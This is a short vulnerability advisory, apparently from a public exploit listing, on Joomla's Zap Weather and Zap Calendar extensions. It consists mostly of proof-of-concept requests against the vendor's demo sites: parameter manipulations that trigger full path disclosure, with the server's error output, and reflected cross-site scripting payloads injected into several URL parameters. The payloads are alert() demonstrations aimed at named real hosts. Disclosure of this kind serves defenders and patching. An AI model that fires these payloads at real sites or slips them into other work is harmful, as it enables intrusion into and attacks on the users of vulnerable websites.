Joomla Zap Weather FPD & Zap Calendar跨站脚本漏洞

                                                #Title - Joomla Zap Weather FPD & Zap Calendar XSS
#Date: 01.21.2014
#Vendor: zcontent.net ( extensions.joomla.org/extensions/owner/cogliano )
#Versions - Z Weather v9 & Zap Calendar v4.0 (Latests ATM)
#Contant: smash[at]devilteam.pl

#Zap Weather

PoC - zcontent.net/demo/zapweather


1. Full Path Disclosure

Request:
zcontent.net/demo/zapweather?view=location&id[]=5layout=alert&tmpl=component

OR

http://zcontent.net/demo/zapweather?view=location&id=-666&layout=alert&tmpl=component

Error appears:

Error
        Failed loading XML file

Warning: Invalid argument supplied for foreach() in /var/www/zcontent/libraries/joomla/database/database.php on line 1315

Warning: Invalid argument supplied for foreach() in /var/www/zcontent/libraries/joomla/database/database.php on line 1315

Warning: Invalid argument supplied for foreach() in /var/www/zcontent/components/com_zweather/views/location/view.html.php on line 324

#Zap Calendar

1. Cross Site Scripting at Events

- Itemid

GET /index.php/demo/index.php?option=com_zcalendar&view=event&id=196&calid=1&Itemid=118"><script>alert(666)</script>&tmpl=component HTTP/1.1
Host: www.zapcalendar.com

- Calid

GET /index.php/demo/index.php?option=com_zcalendar&view=event&id=196&calid=1"><script>alert(666)</script>&Itemid=118&tmpl=component HTTP/1.1
Host: www.zapcalendar.com 

- Id

GET /index.php/demo/index.php?option=com_zcalendar&view=event&id=196"><script>alert(666)</script>&calid=1&Itemid=118&tmpl=component HTTP/1.1
Host: www.zapcalendar.com

2. Cross Site Scripting at Calendar


- Itemid

Request:
www.zapXcalendar.com/index.php/demo/index.php?Itemid=118"><script>alert(666)</script>&option=com_zcalendar&view=calendar&id=1&ctype=m&ajax=1&format=raw&date=2014-05-01&limitstart=0

- Ctype

Request:
www.zapXcalendar.com/index.php/demo/index.php?Itemid=118&option=com_zcalendar&view=calendar&id=1&ctype=m"><script>alert(666)</script>&ajax=1&format=raw&date=2014-05-01&limitstart=0

- Date

Request:
www.zapXcalendar.com/index.php/demo/index.php?Itemid=118&option=com_zcalendar&view=calendar&id=1&ctype=m&ajax=1&format=raw&date=2014-05-01"><script>alert(666)</script>&limitstart=0